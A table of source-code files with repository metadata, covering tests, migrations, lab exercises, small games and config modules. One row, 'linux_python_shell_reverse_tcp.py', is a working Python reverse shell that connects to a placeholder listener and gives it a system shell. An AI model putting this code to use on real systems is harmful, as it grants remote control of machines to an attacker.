hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e5de7078bd6d3b047f0539ce39a1046840bd0716 | 2,385 | py | Python | python/oneflow/compatible/single_client/test/ops/test_repeat_acc.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 3,285 | 2020-07-31T05:51:22.000Z | 2022-03-31T15:20:16.000Z | python/oneflow/compatible/single_client/test/ops/test_repeat_acc.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 2,417 | 2020-07-31T06:28:58.000Z | 2022-03-31T23:04:14.000Z | python/oneflow/compatible/single_client/test/ops/test_repeat_acc.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 520 | 2020-07-31T05:52:42.000Z | 2022-03-29T02:38:11.000Z | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 33.125 | 84 | 0.688889 |
00848de807a42078f6ae1d183106c9bcacdd0a87 | 9,960 | py | Python | CC8550-SimulacaoETesteDeSoftware/Lab03/Lab03.py | phdomingues/FEI-CS | e1dc19c190d61f5f13492ba5179f5d41295f1b50 | [
"MIT"
] | null | null | null | CC8550-SimulacaoETesteDeSoftware/Lab03/Lab03.py | phdomingues/FEI-CS | e1dc19c190d61f5f13492ba5179f5d41295f1b50 | [
"MIT"
] | null | null | null | CC8550-SimulacaoETesteDeSoftware/Lab03/Lab03.py | phdomingues/FEI-CS | e1dc19c190d61f5f13492ba5179f5d41295f1b50 | [
"MIT"
] | null | null | null | import math
import random
import statistics
try: import matplotlib.pyplot as plt
except: print("Biblioteca matplotlib nao instalada, o grafico nao sera plotado!")
# === ENUNCIADO === #
# VARIAVEIS DE SIMULACAO
NUM_SIMULACOES = 10 # Numero de simulacoes que devem ser realizadas
SEMENTE = 92 # Matricula = 222180192
A = ... | 43.116883 | 248 | 0.634438 |
970a3256155491fe813dbf6ebb5e1e834a3bb915 | 28,236 | py | Python | Packs/epo/Integrations/epoV2/epoV2_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | null | null | null | Packs/epo/Integrations/epoV2/epoV2_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | null | null | null | Packs/epo/Integrations/epoV2/epoV2_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | null | null | null | """Imports"""
from epoV2 import *
"""
import pytest
import demistomock as demisto
from CommonServerPython import Common
"""
EPO_URL = 'https://test.com'
''' HELPER FUNCTIONS '''
def load_test_data_txt(file_path):
with open(file_path) as f:
return f.read()
def test_error_message(requests_mock):
""... | 35.119403 | 123 | 0.622043 |
c1b5337ffc480584d1ef7be4705493119d91158e | 2,328 | py | Python | src/visitpy/visit_utils/tests/test_query.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 226 | 2018-12-29T01:13:49.000Z | 2022-03-30T19:16:31.000Z | src/visitpy/visit_utils/tests/test_query.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 5,100 | 2019-01-14T18:19:25.000Z | 2022-03-31T23:08:36.000Z | src/visitpy/visit_utils/tests/test_query.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 84 | 2019-01-24T17:41:50.000Z | 2022-03-10T10:01:46.000Z | # Copyright (c) Lawrence Livermore National Security, LLC and other VisIt
# Project developers. See the top-level LICENSE file for dates and other
# details. No copyright assignment is required to contribute to VisIt.
"""
file: test_query.py
author: Cyrus Harrison (cyrush@llnl.gov)
created: 4/09/2010
description... | 29.846154 | 106 | 0.665808 |
a9b5325e679d24c274cb66ef9442611df3d0f9cd | 1,438 | py | Python | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex03_palindrome_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex03_palindrome_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex03_palindrome_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | # Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
import pytest
import numpy as np
from ch06_arrays.solutions.ex03_palindrome import is_palindrome_rec, is_palindrome_iterative, is_palindrome_short
def values_and_expected():
return [(["Ein", "Test", " -- ", "Test", "Ein"], Tr... | 30.595745 | 113 | 0.646732 |
e77b427b77e36046ff18f97291588ad5fe12d423 | 361 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v4_0/fix_case_of_hr_module_def.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/patches/v4_0/fix_case_of_hr_module_def.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v4_0/fix_case_of_hr_module_def.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
from __future__ import unicode_literals
import frappe
def execute():
hr = frappe.db.get_value("Module Def", "HR")
if hr == "Hr":
frappe.rename_doc("Module Def", "Hr", "HR")
frappe.db.set_value("Module Def", "HR", "module_name", "HR")
frappe.... | 25.785714 | 68 | 0.709141 |
823229061386529d895e087359fa772c00f48488 | 1,334 | py | Python | Projects/Turtle-race-Python/Turtle_game.py | ankita080208/Hacktoberfest | 2be849e89285260e7b6672f42979943ad6bbec78 | [
"MIT"
] | 3 | 2021-03-16T16:44:04.000Z | 2021-06-07T17:32:51.000Z | Projects/Turtle-race-Python/Turtle_game.py | ankita080208/Hacktoberfest | 2be849e89285260e7b6672f42979943ad6bbec78 | [
"MIT"
] | null | null | null | Projects/Turtle-race-Python/Turtle_game.py | ankita080208/Hacktoberfest | 2be849e89285260e7b6672f42979943ad6bbec78 | [
"MIT"
] | 1 | 2020-10-26T08:44:01.000Z | 2020-10-26T08:44:01.000Z | #!/usr/bin/env python
# This is turtle game using python turtle library
import turtle
from turtle import *
from random import randint
#window
window = turtle.Screen()
window.title("Turtle Race game ")
turtle.bgcolor("cyan")
turtle.speed()
turtle.penup()
turtle.setpos(-200,180)
turtle.write("TURTLE RACE GAME",font=("A... | 14.659341 | 57 | 0.67991 |
413acf21dc404395610bbc7e3f36586b4bd16069 | 12,143 | py | Python | src/onegov/feriennet/forms/occasion.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/feriennet/forms/occasion.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/feriennet/forms/occasion.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | import isodate
from cached_property import cached_property
from collections import namedtuple
from onegov.activity import Occasion, OccasionCollection
from onegov.activity import Period, PeriodCollection
from onegov.core.custom import json
from onegov.feriennet import _
from onegov.form import Form
from sedate import ... | 31.704961 | 79 | 0.572429 |
4191f2a22e2f2bcc86c5987b92e374f3529c73c1 | 1,162 | py | Python | migrations/versions/35a6577b6af8_.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | migrations/versions/35a6577b6af8_.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | migrations/versions/35a6577b6af8_.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | """empty message
Revision ID: 35a6577b6af8
Revises: a0a248667cd8
Create Date: 2021-01-25 10:37:41.116909
"""
import sqlalchemy as sa
import sqlalchemy_utils
from alembic import op
from project import dbtypes
# revision identifiers, used by Alembic.
revision = "35a6577b6af8"
down_revision = "a0a248667cd8"
branch_lab... | 24.723404 | 81 | 0.688468 |
419cec06b9c3e2a86815a78489e2e08d4a40aded | 273 | py | Python | Language Proficiency/Python/Date and Time/Time Delta/time_delta.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | 1 | 2021-02-22T17:37:45.000Z | 2021-02-22T17:37:45.000Z | Language Proficiency/Python/Date and Time/Time Delta/time_delta.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | Language Proficiency/Python/Date and Time/Time Delta/time_delta.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from datetime import datetime
if __name__ == "__main__":
T = int(input())
fmt = "%a %d %b %Y %H:%M:%S %z"
for _ in range(T):
print(int(abs((datetime.strptime(input(), fmt) - datetime.strptime(input(), fmt)).total_seconds())))
| 22.75 | 108 | 0.600733 |
ec543d711d50539f969f96126306c7130aa366da | 169 | py | Python | exercises/zh/solution_01_03_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/zh/solution_01_03_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/zh/solution_01_03_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | # 导入中文语言类创建nlp对象
from spacy.lang.zh import Chinese
nlp = Chinese()
# 处理文本
doc = nlp("我喜欢老虎和狮子。")
# 选择第一个词符
first_token = doc[0]
# 打印第一个词符的文本
print(first_token.text)
| 12.071429 | 33 | 0.721893 |
6bbc49bc20070d505b2c399a03b7ad2b3361bb04 | 467 | py | Python | tests/shared/nlu/training_data/test_lookup_tables_parser.py | chaneyjd/rasa | 104a9591fc10b96eaa7fe402b6d64ca652b7ebe2 | [
"Apache-2.0"
] | 37 | 2019-06-07T07:39:00.000Z | 2022-01-27T08:32:57.000Z | tests/shared/nlu/training_data/test_lookup_tables_parser.py | chaneyjd/rasa | 104a9591fc10b96eaa7fe402b6d64ca652b7ebe2 | [
"Apache-2.0"
] | 209 | 2020-03-18T18:28:12.000Z | 2022-03-01T13:42:29.000Z | tests/shared/nlu/training_data/test_lookup_tables_parser.py | chaneyjd/rasa | 104a9591fc10b96eaa7fe402b6d64ca652b7ebe2 | [
"Apache-2.0"
] | 65 | 2019-05-21T12:16:53.000Z | 2022-02-23T10:54:15.000Z | import rasa.shared.nlu.training_data.lookup_tables_parser as lookup_tables_parser
def test_add_item_to_lookup_tables():
lookup_item_title = "additional_currencies"
lookup_examples = ["Peso", "Euro", "Dollar"]
result = []
for example in lookup_examples:
lookup_tables_parser.add_item_to_lookup... | 29.1875 | 81 | 0.723769 |
cf0d8de36fc675e72db259d7cdb7f5083d439dfd | 2,668 | py | Python | files/math/Experiment_05/Sin Test.py | mimeiners/ans | 382e000e687d5ec0c80a84223087e60ed656a1dd | [
"MIT"
] | null | null | null | files/math/Experiment_05/Sin Test.py | mimeiners/ans | 382e000e687d5ec0c80a84223087e60ed656a1dd | [
"MIT"
] | null | null | null | files/math/Experiment_05/Sin Test.py | mimeiners/ans | 382e000e687d5ec0c80a84223087e60ed656a1dd | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon May 11 15:44:53 2020
@author: Julian
"""
import numpy as np
from scipy.fftpack import fft, ifft
import matplotlib.pyplot as plt
#from scipy import integrate
plt.close('all')
def downsample(x,a):
l = len(x)//a
x_new = np.zeros([l,1])
for i in range(l):
... | 21.516129 | 93 | 0.66979 |
cf4fee3b872c818b3a8802373ebfbe38f4997bb1 | 282 | py | Python | Language Proficiency/Python/Date and Time/Calendar Module/day_of_date.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | 1 | 2021-02-22T17:37:45.000Z | 2021-02-22T17:37:45.000Z | Language Proficiency/Python/Date and Time/Calendar Module/day_of_date.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | Language Proficiency/Python/Date and Time/Calendar Module/day_of_date.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import calendar
if __name__ == "__main__":
days = {0: "MONDAY", 1: "TUESDAY", 2: "WEDNESDAY", 3: "THURSDAY", 4: "FRIDAY", 5: "SATURDAY", 6: "SUNDAY"}
month, day, year = map(int, input().split())
print(days[calendar.weekday(year, month, day)])
| 25.636364 | 110 | 0.613475 |
d8568df57ba65dc1b22bf82294e8bdfcbdef0e64 | 3,627 | py | Python | 2015/11/exposed-vets-20150720/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 14 | 2015-05-08T13:41:51.000Z | 2021-02-24T12:34:55.000Z | 2015/11/exposed-vets-20150720/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | null | null | null | 2015/11/exposed-vets-20150720/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 7 | 2015-04-04T04:45:54.000Z | 2021-02-18T11:12:48.000Z | #!/usr/bin/env python
import locale
locale.setlocale(locale.LC_ALL, 'en_US')
COPY_GOOGLE_DOC_KEY = '1TDwEPeBo9AB2b3suKosMrE9EwbkQDBXWPKqlNPQ22-M'
USE_ASSETS = False
# Use these variables to override the default cache timeouts for this graphic
# DEFAULT_MAX_AGE = 20
# ASSETS_MAX_AGE = 300
def comma_format(value):
... | 19.190476 | 110 | 0.503998 |
d870e7a1b10299efbf5d785832a5c894ef861af8 | 504 | py | Python | shell_reverse/linux_python_shell_reverse_tcp.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 4 | 2021-04-23T15:39:17.000Z | 2021-12-27T22:53:24.000Z | shell_reverse/linux_python_shell_reverse_tcp.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | null | null | null | shell_reverse/linux_python_shell_reverse_tcp.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 2 | 2021-04-19T08:28:54.000Z | 2022-01-19T13:23:29.000Z | #coding:utf-8
import socket
import subprocess
import os
import sys
LHOST = "YOURLHOST"
LPORT = YOURLPORT
def RunShell(lhost, lport):
socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
socks.connect((lhost,lport))
os.dup2(socks.fileno(), 0)
os.dup2(socks.fileno(), 1)
... | 18 | 61 | 0.619048 |
d8b0d956aab339413efa02166d2028b6d6c003b6 | 14,724 | py | Python | Backend/migrations/alembic/versions/a9ca657b90f5_create_cases_per_county_and_day_.py | dbvis-ukon/coronavis | f00374ac655c9d68541183d28ede6fe5536581dc | [
"Apache-2.0"
] | 15 | 2020-04-24T20:18:11.000Z | 2022-01-31T21:05:05.000Z | Backend/migrations/alembic/versions/a9ca657b90f5_create_cases_per_county_and_day_.py | dbvis-ukon/coronavis | f00374ac655c9d68541183d28ede6fe5536581dc | [
"Apache-2.0"
] | 2 | 2021-05-19T07:15:09.000Z | 2022-03-07T08:29:34.000Z | Backend/migrations/alembic/versions/a9ca657b90f5_create_cases_per_county_and_day_.py | dbvis-ukon/coronavis | f00374ac655c9d68541183d28ede6fe5536581dc | [
"Apache-2.0"
] | 4 | 2020-04-27T16:20:13.000Z | 2021-02-23T10:39:42.000Z | """create cases_per_county_and_day materialized view
Revision ID: a9ca657b90f5
Revises: f8791d49d830
Create Date: 2020-11-26 15:25:59.925681
"""
from alembic import op
# revision identifiers, used by Alembic.
revision = 'a9ca657b90f5'
down_revision = 'f8791d49d830'
branch_labels = None
depends_on = None
def upgrad... | 50.25256 | 139 | 0.464412 |
9922aaa3ad2587c15f33ad73d2c59174ec3781cc | 3,370 | py | Python | zencad/gui/info_widget.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | 5 | 2018-04-11T14:11:40.000Z | 2018-09-12T19:03:36.000Z | zencad/gui/info_widget.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | null | null | null | zencad/gui/info_widget.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | null | null | null | from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from PyQt5.QtGui import *
import math
QMARKER_MESSAGE = "Press 'F3' to set marker"
WMARKER_MESSAGE = "Press 'F4' to set marker"
DISTANCE_DEFAULT_MESSAGE = "Distance between markers"
class InfoWidget(QWidget):
def __init__(self):
super().__init__()... | 33.366337 | 82 | 0.611869 |
513e2cbf2d9f95754a93b59c27e67d5882eb68a8 | 70 | py | Python | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.13-count-sub-string-using-count-method.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.13-count-sub-string-using-count-method.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.13-count-sub-string-using-count-method.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | str = "This is"
print(str)
counted = str.count("is")
print(counted)
| 10 | 25 | 0.657143 |
515e000a4b4b01a1888904c88af4a30fbb321536 | 6,931 | py | Python | python_experiments/paper_figures/vldbj/draw_indexing_time_size.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 8 | 2020-04-14T23:17:00.000Z | 2021-06-21T12:34:04.000Z | python_experiments/paper_figures/vldbj/draw_indexing_time_size.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | null | null | null | python_experiments/paper_figures/vldbj/draw_indexing_time_size.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 1 | 2021-01-17T16:26:50.000Z | 2021-01-17T16:26:50.000Z | import matplotlib.pyplot as plt
import numpy as np
from data_analysis.vldbj_data_parsing.generate_index_markdown import *
from exec_utilities.exec_utils import get_logger, yche_logger_root_dir
def get_name_dict():
with open('data_names.json') as ifs:
return eval(''.join(ifs.readlines()))
# data set abb... | 31.940092 | 100 | 0.599336 |
5af5b909183083ae3946d4fc677dc43adb9b9c20 | 108 | py | Python | python_lessons/Stock_Management_Projects/dividend_view.py | 1986MMartin/coding-sections-markus | e13be32e5d83e69250ecfb3c76a04ee48a320607 | [
"Apache-2.0"
] | null | null | null | python_lessons/Stock_Management_Projects/dividend_view.py | 1986MMartin/coding-sections-markus | e13be32e5d83e69250ecfb3c76a04ee48a320607 | [
"Apache-2.0"
] | null | null | null | python_lessons/Stock_Management_Projects/dividend_view.py | 1986MMartin/coding-sections-markus | e13be32e5d83e69250ecfb3c76a04ee48a320607 | [
"Apache-2.0"
] | null | null | null | import yfinance as yf
import pandas as pd
import datetime as dt
var = yf.Ticker('KO')
print(var.dividends)
| 15.428571 | 21 | 0.759259 |
51ebd4ecfdfa33657e8b62bd38fe558bd8369b2f | 779 | py | Python | scripts/environment/container_run_warmup.py | CcTtry/PipeSwitch | c6d632ee20b6dbbaea9a6fb95b9ea0ed4bbbf67e | [
"Apache-2.0"
] | null | null | null | scripts/environment/container_run_warmup.py | CcTtry/PipeSwitch | c6d632ee20b6dbbaea9a6fb95b9ea0ed4bbbf67e | [
"Apache-2.0"
] | null | null | null | scripts/environment/container_run_warmup.py | CcTtry/PipeSwitch | c6d632ee20b6dbbaea9a6fb95b9ea0ed4bbbf67e | [
"Apache-2.0"
] | null | null | null | from os import name
from task.resnet152_training import import_data_loader, import_model, import_func
from task.helper import get_data, get_model
def warm_up_training():
# Warm up training
data_loader = import_data_loader()
model = import_model().cuda()
func = import_func()
func(model, dat... | 25.129032 | 82 | 0.67009 |
51ebfbd5b25906706b1378b894c2d1c777ea4b86 | 5,403 | py | Python | Packs/AccentureCTI/Integrations/ACTIVulnerabilityQuery/test_data/response_constants.py | cstone112/content | 7f039931b8cfc20e89df52d895440b7321149a0d | [
"MIT"
] | 2 | 2021-12-06T21:38:24.000Z | 2022-01-13T08:23:36.000Z | Packs/AccentureCTI/Integrations/ACTIVulnerabilityQuery/test_data/response_constants.py | cstone112/content | 7f039931b8cfc20e89df52d895440b7321149a0d | [
"MIT"
] | 87 | 2022-02-23T12:10:53.000Z | 2022-03-31T11:29:05.000Z | Packs/AccentureCTI/Integrations/ACTIVulnerabilityQuery/test_data/response_constants.py | cstone112/content | 7f039931b8cfc20e89df52d895440b7321149a0d | [
"MIT"
] | 2 | 2022-01-05T15:27:01.000Z | 2022-02-01T19:27:43.000Z | VULN_RES_JSON = {
"results": [
{
"affects": {
"vuln_techs": [
{
"created_on": "2022-01-20T20:56:48.000Z",
"key": "cpe:/a:f5:big-ip:16.1.1",
"last_modified": "2022-01-20T20:56:48.000Z",
... | 53.49505 | 622 | 0.488988 |
7a60f9056f2a02f868c40eb4dfbea574cea6c567 | 974 | py | Python | Codeforces/Balanced_array.py | vinayvinu500/Hackerrank | e185ae9d3c7dc5cd661761142e436f5df6a3f0f1 | [
"MIT"
] | null | null | null | Codeforces/Balanced_array.py | vinayvinu500/Hackerrank | e185ae9d3c7dc5cd661761142e436f5df6a3f0f1 | [
"MIT"
] | null | null | null | Codeforces/Balanced_array.py | vinayvinu500/Hackerrank | e185ae9d3c7dc5cd661761142e436f5df6a3f0f1 | [
"MIT"
] | null | null | null | """Balanced Array"""
#info
#https://www.hackerrank.com/contests/world-codesprint-11/challenges/balanced-array
#n is a even number
n = 4
#add num to left to balanced array
arr = [1,2,5,2,4,2]
arr = [1,2,1,2,1,3]
arr =[10,20]
arr = [1,2,2,3]
#algorithm
e = len(arr) // 2
l = arr[:e]
r = arr[e:]
if l == r:
print(0)
d ... | 15.709677 | 82 | 0.545175 |
8f036902fb5e12e7212d31797371871c25671fb7 | 1,217 | py | Python | Fernet2/fernet2.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 4 | 2021-04-23T15:39:17.000Z | 2021-12-27T22:53:24.000Z | Fernet2/fernet2.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | null | null | null | Fernet2/fernet2.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 2 | 2021-04-19T08:28:54.000Z | 2022-01-19T13:23:29.000Z | #!/usr/bin/python2
#-*- coding:utf-8 -*-
# Author : Unam3dd
import sys
from cryptography.fernet import Fernet
def encrypt_fernet(string):
key = Fernet.generate_key()
f = Fernet(key)
encrypted = f.encrypt(string)
string_return = "[*] Key : %s\n[*] Encrypted : %s\n" % (key,encrypted)
return string... | 26.456522 | 75 | 0.531635 |
8579d561fd6c422a567792280eb0e21b88d098d2 | 606 | py | Python | wk-sentiment/app/config.py | wkabbani/microservices | 3b2956084880b6bc0b255a53493bec39c7bbf513 | [
"MIT"
] | 4 | 2020-10-08T15:05:02.000Z | 2021-08-03T01:00:08.000Z | wk-sentiment/app/config.py | wkabbani/microservices | 3b2956084880b6bc0b255a53493bec39c7bbf513 | [
"MIT"
] | null | null | null | wk-sentiment/app/config.py | wkabbani/microservices | 3b2956084880b6bc0b255a53493bec39c7bbf513 | [
"MIT"
] | 1 | 2020-10-08T15:05:04.000Z | 2020-10-08T15:05:04.000Z | class Config:
# Flask configurations
FLASK_SERVER_NAME = '0.0.0.0'
FLASK_SERVER_PORT = '80'
FLASK_DEBUG = False
# Flask-Restplus configurations
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
class ... | 18.363636 | 46 | 0.721122 |
a41aff8dbaa5dd979dd431e120b395b21543a54e | 1,120 | py | Python | AP_SS16/402/python/simplex-web.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 3 | 2016-04-27T17:07:00.000Z | 2022-02-02T15:43:15.000Z | AP_SS16/402/python/simplex-web.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 5 | 2016-04-27T17:10:03.000Z | 2017-06-20T14:54:20.000Z | AP_SS16/402/python/simplex-web.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | null | null | null | from scipy.optimize import fmin as simplex
# "fmin" is not a sensible name for an optimisation package.
# Rename fmin to "simplex"
# Define the objective function to be minimised by Simplex.
# params ... array holding the values of the fit parameters.
# X ... array holding x-positions of observed data.
# Y .... | 30.27027 | 67 | 0.594643 |
24919bf92e7bfc3cd93cb0f9990f09ffb0e3b5aa | 2,906 | py | Python | research/cv/LightCNN/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/LightCNN/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/LightCNN/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 39.27027 | 92 | 0.687543 |
24fd74e7f96fb01e98479be0ee8a45d781f1c2b1 | 32,333 | py | Python | scripts/signal_marker_processing/notebook/dr_widgets.py | CsabaWirnhardt/cbm | 1822addd72881057af34ac6a7c2a1f02ea511225 | [
"BSD-3-Clause"
] | 17 | 2021-01-18T07:27:01.000Z | 2022-03-10T12:26:21.000Z | scripts/signal_marker_processing/notebook/dr_widgets.py | CsabaWirnhardt/cbm | 1822addd72881057af34ac6a7c2a1f02ea511225 | [
"BSD-3-Clause"
] | 4 | 2021-04-29T11:20:44.000Z | 2021-12-06T10:19:17.000Z | scripts/signal_marker_processing/notebook/dr_widgets.py | CsabaWirnhardt/cbm | 1822addd72881057af34ac6a7c2a1f02ea511225 | [
"BSD-3-Clause"
] | 47 | 2021-01-21T08:25:22.000Z | 2022-03-21T14:28:42.000Z | #!/usr/bin/env python3
